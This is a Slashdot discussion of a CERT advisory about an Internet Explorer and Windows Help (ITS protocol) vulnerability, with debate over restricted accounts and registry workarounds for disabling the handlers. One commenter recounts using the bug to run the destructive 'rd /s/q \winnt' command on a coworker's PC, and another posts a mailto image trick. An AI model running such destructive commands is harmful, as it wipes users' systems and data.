New Windows Vulnerability in Help System

wesleyt writes "CERT announced today a significant Microsoft Windows vulnerability related to IE and its handling of the Windows help subsystem. There are currently no patches available and no virus definitions for the major scanners. As well, exploits have been reported in the wild. Because the vulnerability is in the help subsystem, even users who avoid Outlook and IE are vulnerable, since IE is the default handler for help files. It seems that this is going to be an ugly one."

Comments

MS

[Fredbo]

Microsoft is in some serious need of some help on this...

Re:MS

[MrNonchalant]

"By convincing a victim to view an HTML document such as a web page or HTML email message, an attacker could execute script in a different security domain than the one containing the attacker's document." So basically we're talking another e-mail attachment auto-execution exploit here. A whole new generation of viruses just got a way to spread minus a user's click. Thank goodness I use Mozilla mail.

Re:MS

[netsharc]

"It seems like you're trying to exploit a security hole. Would you like help?"

Re:MS

[Anonymous Coward]

As if they needed another method.

try:
<img src=mailto:user@host?Subject=Something&Body=Fun>
on IE...

Re:MS

[IrRegEx]

convincing a victim to view an HTML document such as a web page

This sounds bad. I know we've convinced users to not open attachments such as .vbs files and the like. But now we have to somehow tell them not to open .htm(l) files as well?

Didn't MS get into trouble before when disclosing security holes? Now everyone who is interested knows exactly how to get in the door. No?

Whatever the reason really is, this is why I like my linux and Mac computers. I don't have to deal with this problem.

Re:MS

[LiquidCoooled]

The problem is, they state that this may not be limited to IE/Outlook (Express):

NOTE: Using an alternate web browser may not mitigate this vulnerability. It may be possible for a web browser other than IE on a Windows system to invoke IE to handle ITS protocol URLs.

Another instance where unbundling and removing IE from a system would be beneficial...

Re:MS

[scrytch]

It starts up mail! I can't believe it, it starts up mail! What an insecure piece of shit, I can't believe it! On firefox, when I view it ... it starts up mail!

Oh wait, you wanted me to do it in IE? Oh yeah, that does it too.

Re:MS

[cubic6]

Well, it's a little more complicated than just "unbundling and removing" IE in this situation. I'd consider the Help system critical for system functioning for lots of users. It'd be totally inexcusable for Windows to not come with any Help just for the sake of deintegration. If they unbundled IE, they'd just have to write *another* HTML rendering engine and associated parts to handle the Help files. It'd probably be more buggy and even less standards-compliant.

On a side note, KDE does the same thing. I can open a "ms-its://" url to view .chm help files. If a bug was discovered in Konqueror's handling of ms-its urls that resulted in a security hole, would there be anyone claiming Konqueror shouldn't be part of KDE?

Re:MS

[TCaptain]

If they unbundled IE, they'd just have to write *another* HTML rendering engine and associated parts to handle the Help files. It'd probably be more buggy and even less standards-compliant.

If they unbundled IE, why the hell wouldn't the help files simply use the designated default browser??

Re:MS

[Zirtix]

If a bug was discovered in Konqueror's handling of ms-its urls that resulted in a security hole, would there be anyone claiming Konqueror shouldn't be part of KDE?

Konqueror is part of KDE, not part of GNU/Linux. But IE is part of Windows.

Re:MS

[cubic6]

{Mozilla, Opera, Lynx} doesn't support CHMs or the ITS protocol. You're right though, they could support interchangeable interfaces so you could use Gecko to render the help files. I certainly hope this will happen, but I don't think it's likely unless some government lawyer grows a pair and forces them to.

If they "unbundled" IE, they would still ship it with every boxed copy of Windows, and if you wanted Help out of the box, you'd need to install IE. The only way you'd be able to get a completely IE-free system would be from an OEM or a customized install disc.

Re:MS

[cubic6]

Never said Konqueror was a part of GNU/Linux. I actually carefully worded that sentence to avoid that impression. *Sigh*

My point wasn't against the security of Linux or KDE, but against the hypocrisy of claiming that IE should be unbundled because integration == bad security. I'm not talking about the kernel or CLI or anything like that, I'm talking about the desktop environment. Windows provides one, and so does KDE. The fact that you could use Gnome or Xfce isn't relevant, because they don't have the same kind of integration.

If you don't install Konqueror/KHTML when you install KDE, your help system is screwed, as are any apps that embed a KHTML component. In that respect, IE/mshtml and Konq/khtml are comparable.

Not that big of deal

[Anonymous Coward]

I am sure the major virus scanners will have it before anything "really" bad happens.. this isnt anything special.. move along

Re:Not that big of deal

[baryon351]

As a mac user I'm just glad that our beleaguered platform that's now full of trojans has a competitor and hopefully this upstart Windows will take some of the attention away. phew!

Privilege level

[Gary Destruction]

"could allow an attacker to execute arbitrary code with the privileges of the user running IE" This is why you run as a restricted user rather than administrator or power user. Restricted users don't have write or modify permissions to the WINNT or Program Files directories or subdirectories. And they certainly don't have permission to screw with the registry.

Re:Privilege level

[Phexro]

They also don't have permission to do most things that users are used to doing, such as installing new software.

Not saying that your comment is wrong, just that for most people, convenience is more important than security.

Re:Privilege level

[pe1chl]

To install new software, users (except the totally clueless) log in as an administrative user, or even choose to run the setup program as an administrative user while being logged in as an unprivileged user.

Unfortunately, the default distribution of Windows is not setup this way, and is even discouraging it (especially in the Home version).

Re:Privilege level

[harlows_monkeys]

This is why you run as a restricted user rather than administrator or power user. Restricted users don't have write or modify permissions to the WINNT or Program Files directories or subdirectories. And they certainly don't have permission to screw with the registry

So basically, then, that makes it so that if the user gets infected by something, all it can do is destroy that user's personal files, and propogate over the network, as opposed to doing all that AND making the user have to reinstall Windows by mucking with system stuff?

That's nice for administratos--they can clean the machine just by wiping that user, but for the user that is not going to make much difference.

Re:Privilege level

[Gary Destruction]

Use the runas service to do administrative stuff. You can either use it in command line form or hold down shift and right click on an executable. It works on most control panel applets as well.

Re:Privilege level

[goat_attack]

Unfortunately many programs and especially games require you have admin access to work, i.e. The Sims (god knows why). Imagine teaching your mother to use one account for installs, and another for her email and browsing, then throw in some stuff that will only work under admin and you'll quickly see where this goes.

This is a much broader problem than merely stupid/lazy users.

Re:Privilege level

[DA-MAN]

So basically, then, that makes it so that if the user gets infected by something, all it can do is destroy that user's personal files, and propogate over the network, as opposed to doing all that AND making the user have to reinstall Windows by mucking with system stuff?

That's nice for administratos--they can clean the machine just by wiping that user, but for the user that is not going to make much difference.

Let's see, 1 hour of downtime while we reimage and reconfigure your machine vs. 1 minute to clear out your profile and let me work on pulling your data from a good known back up.

Re:Privilege level

[Anonymous Coward]

To install new software, users (except the totally clueless) log in as an administrative user, or even choose to run the setup program as an administrative user while being logged in as an unprivileged user.

I don't do this, and not because I'm clueless, but because there are lots of pieces of software that I am forced to use that need you to be logged in as not only an Administrator, but THE Administrator. Most of this software was made for Windows 95 or Windows 98, and some even for Windows 3.x.

Re:Privilege level

[Lukey Boy]

You realize that's only valid in the context of a corporate setup, right? Most viruses and trojans infest home systems. Of course it's easy to reimage a machine in an office - it's the fabled "Aunt Tillie" we have to worry about.

Re:Privilege level

[Gary Destruction]

Ah, but most worms and viruses *want* to write to the WINNT directory, it's subdirectories and the registry. Unless the worm or virus can elevate privileges, it's not going to be able to install itself as a service unless it puts itself in the startup menu in the user's registry. It really depends what the virus or worm was programmed to do. If it's something ilke klez which infects executables, then any executables with that user's permission will be infected. Some thing goes for a virus or worm that infects or destroys jps or word files. It just depends on what it was programmed to do. And it's going to most likely try to copy itself to the WINNT directory, it's subdirectories and the registry BEFORE it propagates itself. And it also depends if the user's profile is mandatory or not. And user's files should be saved to a server and not locally.

Re:Privilege level

[Halfbaked Plan]

I used to try running Windows 2000 as a non-privledged user.

The problem is, not every Windows program out there is written to be aware of the fine-grained security model of Windows NT. In a 'perfect world' every Windows developer would code properly, with security in mind. As it stands, the complex NT security model is just ignored by a lot of people. It might work great in a locked-down corporate environment with a limited-set of software, i.e. where the user isn't allowed to install anything, and the software installed is a narrow well-tested set. It won't ever work in looser environments. Given the lax 'security culture' of Microsoft and it's user base, it's unworkable.

Re:Privilege level

[Anonymous Coward]

> Restricted users don't have write or modify permissions to the WINNT or Program Files directories or subdirectories

Typicall stupid techie answer.

Restricted users have write or modify permission on the critical business files and databases. Which are 8 thousands times more important to the business than your average winnt directory.

Get out of your mom basement.

Re:Privilege level

[pe1chl]

This is like saying that keylocks work well in a bank, but will never be workable in normal life. People will lose keys, will find it uncomfortable to carry keyrings, etc.

Sure there is some truth in that, but as more and more people don't respect other people's property, keylocks have become a necessity and have to be lived with, no matter the discomfort.

The same is now happening with software security.

Re:Privilege level

[h2odragon]

if i have to re-educate my users to be aware of security, i may as well re-educate them to a better thought out environment.

To extend the lock metaphor well beyond any rationality: i'll teach them to use keys instead of a "dance and sing" ritual... "you have to log in as root to do this and that" instead of "you have to right click and selct this, unless its september or a full moon when you have to double click here and then do this that and this other step; except for full moons during september when you have to sacrifice a blue goat at 11:13pm PST using a 14 inch Stihl chainsaw".

Re:Privilege level

[Halfbaked Plan]

To extend your analogy to fit better, consider a world in which many doors, windows, cabinets, etc. are designed in such a way that it's impossible to install a key lock. Others are designed so that a keylock can be installed, but there's only one supply anywhere in the world for key blanks for that particular lock. So you can't lock certain places at all, because you only have one key, and there are five of you who need access to that cabinet or room.

Re:Privilege level

[Florian Weimer]

"could allow an attacker to execute arbitrary code with the privileges of the user running IE" This is why you run as a restricted user rather than administrator or power user. Restricted users don't have write or modify permissions to the WINNT or Program Files directories or subdirectories. And they certainly don't have permission to screw with the registry.

Even a user without admin privileges can turn the box into a spam relay (or a DDoS agent), so reducing privileges is only a very partial solution.

Re:Privilege level

[TheLink]

Login as your usual restricted user for your normal stuff (wordprocessing etc), e.g. joe

Right click on the IE/browser shortcut, select run as different user e.g. www_joe.

Then give www_joe permissions to joe's browser directories, or point the browser files to different folders in the registry/config files.

Of course this doesn't protect against shatter attacks etc.

So run IE in a VMware virtual machine and rollback after each session (copy out the data you want before that). VMware Workstation is now USD189 prev was USD299 or some high price.

Re:Privilege level

[cerberusss]

I still run Windows 2000 as a non-privileged user. But whenever apps act funny as a normal user, I go to administrator mode and hand out full control over the appropriate directory in \Program Files. That usually solves the problem.

Re:Privilege level

[ymgve]

Games need Administrator privileges because the copy protection systems use driver tricks that are only available to administrators. Yet another reason why copy protection should be abolished.

Re:Privilege level

[Theaetetus]

The problem is, not every Windows program out there is written to be aware of the fine-grained security model of Windows NT. In a 'perfect world' every Windows developer would code properly, with security in mind.

Excellent point. Happens on both platforms, actually - Digidesign's audio editor "ProTools" insists on being run as an Administrator and will not let anyone non-Administrator run it. Their reasoning is that somehow ProTools has magic abilities to delete files that users don't have permissions for, and for a non-admin user to use ProTools, it would give them the additional permissions. Completely wrong.
They have put out a beta version that removes that restriction, but it's not fully tested yet. Seems to work for me, though.

-T

Re:Privilege level

[WoodstockJeff]

This is why you run as a restricted user rather than administrator or power user.

This advice works well. And, I wish I could follow it universally on client machines. Unfortunately, any user that needs to syncronize their Palm Pilot with Outlook can't, unless they're an administrator. So every "executive" must have adminstrator privilages for their machine, even though they're also the least likely to understand the security implications of this.

Also, some virus scanners can't update their signature files without adminstrator privileges, meaning you either make the user an adminstrator (power user doesn't cut it), or you don't keep them up-to-date on virus scanning without an adminstrator hitting each and every machine.

Re:Privilege level

[damiam]

Works fine for me. The few programs I have that require Adminstrator access have their shortcuts setup to prompt for a password when they start. Simple.

Good for you. It doesn't work fine for a lot of other people. It would help if MS would implement some way to just let you type in a password without requiring two mouse clicks in the "Run as" dialog just to focus the password input box (which is grayed out by default).

Run as is usable for limited tasks, but I tried using WinXP as a non-administrator for a couple weeks and got so fed up with it that I just gave my account administrator privledges. Since I'm behind a firewall, don't run IIS, don't check mail on this machine, and don't use IE, I'm not too scared of viruses being able to delete (easily replaced) system files in addition to the personal documents that they could already mess with.

Uh, "Run As" *is* the "form of sudo".

In a very limited sense. Sudo can be set up to allow admin access to some programs by certain users without prompting for a password. Runas (at least in its GUI form) cannot.

Windows XP SP2

[Anonymous Coward]

Although there's no specific patch, the Windows XP SP2 release candidate mitigates this problem.

Horrible

[S.I.O.]

> and no virus definitions for the major scanners

Jesus, even my ScanJet is vulnerable?

Re:Horrible

[Patrik_AKA_RedX]

That depends: How long has it been since you last used a strong desinfectant to clean the scanner? If you don't do this before every scan, you might end up digitizing a virus. God knows what would happen if someone would accidently scan the AIDS-virus.

Prevent virii, sterilize you scanners before use.

Does that matter if we don't have IE's exe file?

[d3am0n]

Most of us here have already modified our systems knowing that having even the IE exe file or outlook express exe file could cause problems and have removed it (even in spite of the hidden little annoying backup). Remember to get rid of IE be sure to look in the folder /windows/system32/dllcache for those backup exe files that it uses to restore when you try and rip IE or outlook out yourself.

Today?

[Troed]

They announced this TODAY? It has been discussed on Bugtraq for weeks - and due to a few comments I made in their discussion forum the Swedish IDG.se reported this last Friday. I've also linked to one of the PoC-exploits here on Slashdot for people check for themselves. ... what took them so long?

Jelmer's PoC is good: link

(That page is the info page, you won't get hit by clicking on the link directly)

Re:Today?

[Albanach]

They clearly discussed the announcment with their international partners - half of Europe are on holiday today, Good Friday and again on Monday.

I'd imagine lots of the IT bods that are stil working will have had major work scheduled for this weekend for weeks. Just as well there isn't a patch to be deployed!

start the stopwatch...

[rapiddescent]

now would be a very good time to start the clocks to see how long it takes them to get a patch out. Should be a good case in point for the forrester research published last week. rd

Re:start the stopwatch...

[Anonymous Coward]

Now would? More like a MONTH AGO when there were IRC worms spreading based on this.

Re:start the stopwatch...

[exmsfty]

Well, the interesting thing to me is I was a contract tester on the HTMLHELP team in 1999...and I filed a bug report for this very exploit. So by my stopwatch we are at 5 years and counting. FWIW, I used this exploit to nuke my boss's computer via the "Goodtimes" virus...yea, it was a hoax, but with this exploit I could run "rd /s/q \winnt" from the Preview Pane of Outlook :) If you care then write ShaneMc@microsoft.com and ask him why it wasn't fixed 5 years ago.

Re:start the stopwatch...

[Anonymous Coward]

He's been busy trying to get that damned virus off of his machine.

Re:start the stopwatch...

[value_added]

I'm not suprised. I'm reasonably familiar with the format as I've authored numerous CHM files and spent even more time re-compiling others (removing those HTMLHelp-specific features that MS and anyone following their lead insists on adding that I consider both nutty and inappropriate). IIRC, development stopped on v1.x a long time ago, and the much heralded new help system has some real problems of its own. A number of existing bugs for v1.x have been documented for some time, like those referred to here. Others, well, for years no one at MS has shown any interest in fixing anything unless it involves an embarrassing exploit.

It's too bad, really. I'm not at all impressed with what little MS has done with the format (it still strikes me as afterthought), but compiled HTML can be a blessing. Anyone with tens of thousands of HTML docs on their drive (a handful of O'Reilly books?), can appreciate the simplicity of a single file.

Not a problem...

[Raynach]

Pfft, using help files for Windows?? And this is /. news??

I'm a man, therefore I use MAN pages when I need help. ;)

Re:Not a problem...

[Rosco P. Coltrane]

I'm a man, therefore I use MAN pages when I need help.

Tell me, do you also happen to use gimp?

Re:Does that matter if we don't have IE's exe file

[pe1chl]

IE's exe file is not very relevant, as it is only a loader for the DLLs that implement the actual functionality.

How else could it be so small?

To really get rid of IE you need to remove the DLL files that it uses, and you will break many other programs in the process. Because they all closely link to eachother.

Afraid

[InternationalCow]

I don't know about the rest of you, but things like these are actually scaring me out of running Windows. Apart from my powerbooks (no problems there) I have one PC laptop on which I run WinXP and Linux and I like to use Windows for its ACPI support, but I'm now constantly afraid that some as yet undescribed security hole will allow someone to screw up my computer/home network. Brrrr. No Windows any longer, I'm sick and tired of being afraid when using my computer.

Re:Afraid

[SnowDog_2112]

I don't know about the rest of you, but things like these are actually scaring me out of running Windows.

If you stop using windows, the terrorists have already won!! :P

Workaround

[KingRob]

Remember to backup your registry (or at least this portion of it)
From the CERT article:

Currently, there is no complete solution for this vulnerability. Until a patch is available, consider the workarounds listed below.

Disable ITS protocol handlers
Disabling ITS protocol handlers appears to prevent exploitation of this vulnerability. Delete or rename the following registry keys:

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PROTOCOLS\Ha nd ler\{ms-its,ms-itss,its,mk}
Disabling these protocol handlers will significantly reduce the functionality of the Windows Help system and may have other unintended consequences. Plan to undo these changes after patches have been tested and installed.

Follow good Internet security practices
These recommended security practices will help to reduce exposure to attacks and mitigate the impact of cross-domain vulnerabilities.

Disable Active scripting and ActiveX controls

NOTE: Disabling Active scripting and ActiveX controls will not prevent the exploitation of this vulnerability.

Disabling Active scripting and ActiveX controls in the Internet and Local Machine Zones may stop certain types of attacks and will prevent exploitation of different cross-domain vulnerabilities. Disable Active scripting and ActiveX controls in any zones used to read HTML email.

Disabling Active scripting and ActiveX controls in the Local Machine Zone will prevent malicious code that requires Active scripting and ActiveX controls from running. Changing these settings may reduce the functionality of scripts, applets, Windows components, or other applications. See Microsoft Knowledge Base Article 833633 for detailed information about security settings for the Local Machine Zone. Note that Service Pack 2 for Windows XP includes these changes.

Do not follow unsolicited links
Do not click on unsolicited URLs received in email, instant messages, web forums, or Internet relay chat (IRC) channels.

Maintain updated anti-virus software
Anti-virus software with updated virus definitions may identify and prevent some exploit attempts. Variations of exploits or attack vectors may not be detected. Do not rely solely on anti-virus software to defend against this vulnerability. More information about viruses and anti-virus vendors is available on the US-CERT Computer Virus Resources page.

CERT Solution

[nuffle]

the CERT article has the following to say about the solution.

Currently, there is no complete solution for this vulnerability. Until a patch is available, consider the workarounds listed below.

Disable ITS protocol handlers

Disabling ITS protocol handlers appears to prevent exploitation of this vulnerability. Delete or rename the following registry keys:

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PROTOCOLS\Hand ler\{ms-its,ms-itss,its,mk}

Disabling these protocol handlers will significantly reduce the functionality of the Windows Help system and may have other unintended consequences. Plan to undo these changes after patches have been tested and installed.

Actually, mac users haven't had a virus yet

[Aqua OS X]

We had the release of a "conceptual" Trojan yesterday.... but not a real virus.

Some software company was trying to sell their mac virus software. A real ID3 tag Mac Trojan does not exist right now.... and odds are we will see patches before one comes to be.

Re:Actually, mac users haven't had a virus yet

[thesupraman]

Taken from Sophos....

http://www.sophos.com/virusinfo/analyses/index_m ac exe.html

Description: Macintosh file virus

666, see Mac/Sevendust-A
ANTI-A, see Mac/ANTI-A
CDEF, see Mac/CDEF
CODE-1, see Mac/CODE-1
CODE-252, see Mac/CODE-252
CODE-9811, see Mac/CODE-9811
ERIC, see Mac/Scores
Garfield, see Mac/MDEF-A
Graphics Accelerator, see Mac/SevenD-Fam
INIT-1984, see Mac/INIT-1984
INIT-29, see Mac/INIT-29
INIT-9403, see Mac/INIT-9403
INIT-M, see Mac/INIT-M
Mac/ANTI-A
Mac/CDEF
Mac/CODE-1
Mac/ CODE-252
Mac/CODE-9811
Mac/INIT-1984
Mac/INIT-2 9
Mac/INIT-9403
Mac/INIT-M
Mac/MBDF-A
Mac/MBDF -B
Mac/MDEF-A
Mac/nVIR-A
Mac/nVIR-B
Mac/nVIR-F am
Mac/Scores
Mac/SevenD-C
Mac/SevenD-D
Mac/Se venD-Fam
Mac/Sevendust-A
Mac/Sevendust-B
Mac/Se vendust-J
Mac/T4
Mac/WDEF
Mac/ZUC-A
MBDF-A, see Mac/MBDF-A
MBDF-B, see Mac/MBDF-B
MDEF 666, see Mac/Sevendust-A
MDEF 9806, see Mac/Sevendust-A
MDEF-A, see Mac/MDEF-A
NASA VULT, see Mac/Scores
nVIR-A, see Mac/nVIR-A
nVIR-B, see Mac/nVIR-B
nVIR-Fam, see Mac/nVIR-Fam
San Jose Flu, see Mac/Scores
Scores, see Mac/Scores
SevenD-C, see Mac/SevenD-C
SevenD-D, see Mac/SevenD-D
SevenD-Fam, see Mac/SevenD-Fam
Sevendust-A, see Mac/Sevendust-A
Sevendust-B, see Mac/Sevendust-B
Sevendust-J, see Mac/Sevendust-J
SysX, see Mac/INIT-9403
T4, see Mac/T4
WDEF, see Mac/WDEF
ZUC-A, see Mac/ZUC-A

Re:Actually, mac users haven't had a virus yet

[mabinogi]

actually none of them effect Mac OS X. Apple effected Mac OS X (with some help).

However, some of them affect it, and as such standing by a statement as broad as "Mac users have not had a virus yet" seems a little silly.

I could stand by the statement "The Earth is flat and the universe is an orange" but that doesn't make it any more true.

Re:Actually, mac users haven't had a virus yet

[Llywelyn]

INIT, MDEF, ANTI-A... wow, that's a blast from the past...

I remember wiping some of these off of floppies... back when I even owned floppies.

Re:Actually, mac users haven't had a virus yet

[skinfitz]

A real ID3 tag Mac Trojan does not exist right now

You cannot possibly know that for certain; also the Intego trojan has nothing to do with ID3 tags, but rather the fact that under OSX an application can masquerade as an MP3, gif, jpg or Quicktime file.

For all you know some blackhat right now has some malware that uses this exploit and is debating the best method to distribute it.

Re:Actually, mac users haven't had a virus yet

[Joe U]

The 'Mac is invincible' mentality just means a well crafted mac virus will do even more damage.

How many Mac owners have AV software that is up to date?

Re:Actually, mac users haven't had a virus yet

[5.11Climber]

What's a floppy??? Don't they have pills or something to fix it??

Re:Actually, mac users haven't had a virus yet

[Theaetetus]

The 'Mac is invincible' mentality just means a well crafted mac virus will do even more damage.
How many Mac owners have AV software that is up to date?

Almost none - reason being that all those viruses (virii) mentioned at Sophos (Sophie) are from the 80's (80uses). This is the first 'exploit' on OS X, and it was just mentioned yesterday. What would Anti-Virus for the Mac have mentioned in their definitions last week?

"Virus definitions:

"

Additionally, since all ports are closed by default, and it takes an Administrator password to open any, and it takes an Administrator password to install any applications, and users are not root, there's a limited amount that a virus could do.

-T

Use the RUNAS service

[Gary Destruction]

The RUNAS service will allow you to run an executable with elevated privileges. And shortcuts have the option to run as a different user by clicking the check box that says,"Run as different user." To use the RUNAS service, just hold down shift and right-click and you'll see an option that says "Run As".

Re:Use the RUNAS service

[plugger]

It doesn't always work though. If you are accessing files through a mapped network drive letter, a program run as administrator won't see the virtual drive.

It doesn't work as well as 'su -c xxx', I wish it did.

Re:Use the RUNAS service

[Anonymous Coward]

because we all know your mother would have no problem adding people to her sudoer's file...yup. christ. this story has some ridiculous fucking comments, most of which are like the parent - bashing windows' usability issues WRT security because they're so arcane when unix's certainly are too...

Re:Use the RUNAS service

[Repugnant_Shit]

But that isn't a solution, it's a workaround for shitty software! In Linux I don't have to su to run UT2004 or Half-Life.

Re:Is Mozilla vulnerable ?

[rinusnl34]

i checked the link from the poster above,and it did not seem to do anything on Mozilla 1.7B

Its not

[respite]

There is a proof of concpet page here. Neither mozilla nor firefox are susceptible.

This is point in fact...

[tuxlove]

... that not publishing vulnerabilities doesn't stop exploits. This one had exploits long before the vulnerability was known to anyone but the hackers. I have to laugh every time MS whines about how problems would go away if vulnerabilities were never disclosed, except to the vendor of course. The only thing that might go away is the bad PR, if even that.

Re:I know, I know..

[heironymouscoward]

At the risk of replying to a Microsoft troll, this is not a "pretty insignificant" story.

Errors in server-side applications are rapidly fixed by serious system administrators and at the worst they provide attackers a way into unprotected systems. How many computers around the world are currently infected or zombied thanks to holes in any of the programs you cited? Almost zero.

Security holes in client-side applications (MSIE, Outlook, primarily) are a totally different story. These programs are mainly used by people who don't have the capacity to protect their systems. And the results are clear: millions of PCs infected by everything from viruses to worms and spywares, used as platforms to launch DDoS attacks, to send spam, to steal information...

There is a real security problem on the Internet, one that is making a joke of the "information highway", and it's almost entirely caused by vulnerabilities like the one reported here.

Until the market leader realizes that its users need serious protection from the malicious forces who roam the Internet, no amount of criticism is too much. And, if you really want to support and defend Microsoft, you should be adding your voice, because it is this issue - its failure to provide its users with a safe platform - which will be its downfall.

"Microsoft = insecure" is an association that should be sending shivers down the backs of those marketing managers trying to bomb the web with billions of Microsoft adverts.

Mitigation?

[Henk Poley]

Are you sure?

well

[circletimessquare]

i loaded up ie, went help... contents and index... search... and typed in"help subsystem vulnerable" and hit list topics

a pop up box announced "no topics found"

so what is everyone talking about? this doesn't seem to be a problem

mean trick

[Ruliz Galaxor]

this is probably some kind of mean trick from mister Linus to discourage the use of Windows. I don't believe in this vulnera...

hey, where did my files go?

Administrators: quick fix

[AnonymousDot]

Create a .REG file with this content:

REGEDIT4

[-HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ PROTOCOLS\Handler\its]
[-HKEY_LOCAL_MACHINE\SOFTW ARE\Classes\PROTOCOLS\Handler\mk]
[-HKEY_LOCAL_MA CHINE\SOFTWARE\Classes\PROTOCOLS\Handler\ms-its]
[-HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PROTOCOLS\Ha ndler\ms-itss]

Remove the spaces that slashcode adds!

Save it as chm-disable.reg
Put a line like this in your logon script:
regedit /s chm-disable.reg
Use the same trick to restore the values when a patch is available (that means that you must save the HANDLER keys first).
Note: If you're still using batch files: KiXtart is your friend!

Re:Administrators: quick fix

[Anonymous Coward]

Wooohoooo! So that is the userfriendly Windows everyone is talking about!

Re:Administrators: quick fix

[AnonymousDot]

To save the original keys, do the following:
Launch Regedit (Start, Run..., regedit)
In Regedit, to to HKEY_LOCAL_MACHINE > SOFTWARE > Classes > PROTOCOLS > Handler.
Click on Registry, Export Registry File...
Enter the file name (chm-restore.reg) and select Win9x/NT4 Registration Files (REGEDIT4) in the Type list (this is to save in ASCII, otherwise it's in Unicode).

I wonder...

[Ruliz Galaxor]

how to format my harddisk. Maybe Windows-help can provide me with some support. *clickety-click*

sig(h)

WAIT!!!

[The Ancients]

we haven't finished talking about the OS X security hole. Damn MS always has to get market dominance in everything they do...

ie rants

[bmac]

I use a "custom level" for my internet zone. I basically turn off *everything*. I don't need java, and "active scripting" should be re-worded to say "give web pages access to God-knows-what?".

Besides, I really despise the "AppletTransition Sensor" that ESPN and other sites use. Screw `em. Just give me the dang HTML and, please, IE, just render it for me. No code, no scripts, no popups, no crap.

Websites that require JavaScript piss me off. The stupid Washington Post can't even render a page without JavaScript. What a terd.

Now, if only I could get IE to stop displaying the "Your browser doesn't allow ActiveX controls" message that pops up on pages where the designer used some crap control. I've made ActiveX controls and I *know* they can do anything they want on my system. Arg.

And wtf is with "install desktop items"? This is a *web* *browser*, not the control panel, for crying out loud.

And, last but not least, when I disable all this crap and then hit apply, it gives me a confirm warning message, but when I (because I need to use JavaScript on some crappy page) restore the default "cheap-whore-mode" settings, it doesn't say a word! Nice emphasis, Microsoft.

Yeah, I know, use a different browser (or OS), but we all know Windows is *designed* to not interoperate well with those things, right? Sometimes, it wastes time to try to fight inertia.

Anyhow, my feeling is that the desktop situation on Linux and BSD won't be solved until X is ditched completely. Just give me the dang screen buffer(s) and some basic routines and I'll draw my own shtuff. X is a 25-year-old terd, designed for machines with, like, 4k of memory (warning: hyperbole). Just give me font, line, point, ellipse, bitblt and friggin window data structures -- straight to the video card. And access to the video card reg's would be nice too.

End of Rant, enjoy your day.

Peace & Blessings,
bmac

Re:ie rants

[nuffle]

Yeah, I know, use a different browser (or OS), but we all know Windows is *designed* to not interoperate well with those things, right? Sometimes, it wastes time to try to fight inertia.

In other words, it's easier to complain than do anything about it.

Sounds like the lynx browser (or links, w3m, etc) is right up your alley. Lots of other people who share your distaste for browser bloat do. Microsoft doesn't really care too much about those people who say "Ugh, Microsoft IE sucks! Oh, yeah, I still use it though". It's only until people say "IE sucks, that's why I use [whatever] instead" that they'll pay attention.

Funnel your enthusiasm into trying some different browsers that fit your needs. Donate some time or money, maybe, to an open source browser you do like.

At this point, though, a "IE is lame" post doesn't really contribute much to the discussion. Or have I been trolled?

Re:ie rants

[bmac]

Yes, I'm as familiar with X as one can be after programming with it professionally on Sparcs back in the day (92'ish). How many volumes were in the Xlib reference set? Like 6, plus that God-aweful Motif stuff. Blech.

Yes, *every* window manager / windowing toolkit gives that functionality, but X's underlying layer is network-based, so getting the Display and Screen handles is a level of abstraction better done away with, IMO.

Peace & Blessings,
bmac

Mod Parent UP!

[Chordonblue]

Where's my friggin points when I need them?

Look, this is absolutely true. There is still plenty of software out there that breaks under W2K/WXP when not run as a local administrator.

And forget 'looser' environments. I run a network at a private school. Care to take a guess how much educational software cares about following the rules properly? Grrr!!!

Re:Mod Parent UP!

[snkline]

Even the difference between NT4 and XP causes problems. When we were migrating from NT to XP at my old job we came across a problem with AutoCAD Architectural Desktop. The program ran, but certain program options didn't work properly (for adding things like light fixtures)

As I dug into what the problem was I was amazed at how poorly designed AutoCAD AD was! Everytime it runs it wants to write registry data into HKLM\Software\Autodesk\.... instead of HKCU\Software\Autodesk\.... where it belongs. Now I thought I could work around this problem, by simply giving users write permission on the Autocad tree. Nope, not only where they trying write to HKLM, but they were opening the Software key, and writing from there (Open Software for writing, write Autodesk\AutoCAD AD\example) But even though the data being written is below the software key, you still can't open the Software key explicitly for writing. ARGG! And of course this problem was with the upgrade that was bought specifically because it was an upgrade for Windows XP! Autodesk didn't even seem to care...

But but but...

[Jesrad]

...but Mr MS-Security himself said that there were NO exploits prior to the security patches !

source code leak?

[qqqqarl]

does anyone know where this exploit originated?

is it, perchance, related to the recent windows source code leak?

K.

Again? This is the last straw.

[tekrat]

That's it! I'm buying a Mac!

"The more I use Windows, the more I love my Commodore 64"

Not the point

[bangular]

That's not the point. MS has tried to lead the public to believe that there's never been an instince of exploit code before their patch. And obviously if there's exploit code out there, something already "really bad" has happened. This comes after the witty worm spread before ISS had patches for their products.

On a related note, MS pretty much NEVER releases advisory's on their own will before a patch. There almost always has to be a 3rd party that has said they are going to go public, or there have to be exploits or information in the wild. With that information, I wonder if this exploit is related to the windows source leak. The source leak had a lot of IE code, and if there are exploits in the wild before MS could even send out an advisory. That would lead me to the possiblity that the windows source leak could be the source of this one.

Re:Not the point

[Vancorps]

The code was for IE5, this is very unlikely. And a patch is available, its called shutting off the help sub-system. With Windows 2000 and XP it is a service, one which I never use, although I'm sure some people do.

As for MS statements about exploits, well... everyone knows that's just plain silly. Right now there is an Exchange vulnerability listed on CERT that contains no patch and several known exploits, has been that way since November.

This is yet another occasion to teach everyone how to run as a user in Windows and not as Administrator. Almost everything is negated or at least mitigated when they are just normal users. Sure it could wipe out their own documents, but it couldn't effect any others and certainly couldn't harm the operating system.

I see this problem a lot on every platform, generally I think people like to feel in control all the time

Re:What browser to use?

[pedrop357]

I played with fire and tested the PoC found here

In IE, it copied itself over wmplayer.exe, SFP copied the original back, but that was enough for me. Firefox 0.8, OTOH, didn't budge and nothing happened to wmplayer.exe. Same thing with Netscape 7.1 and Opera 7.23.

At least in this case, IE seems to be the only one.

Dear Microsoft..

[adeyadey]

Why did you make it so bloody difficult to switch off html content in recieved Email text? AT best, it meant bandwidth guzzling spam, at worst viruses you didnt even have to open to catch..

As to browser/plug-in vulnerabilities, it may never be possible to eliminate them all, there are just too many niches for a virus to gain foothold.

Re:Dear Microsoft..

[bitflip]

They fixed it, it just took them about nine versions.

(MS Outlook 2003 disables HTML content quite well.)

Ha! You Linux zealot!

[jotaeleemeese]

There you are, all your user friendliness rubish, that Linux is ready for the desktop.

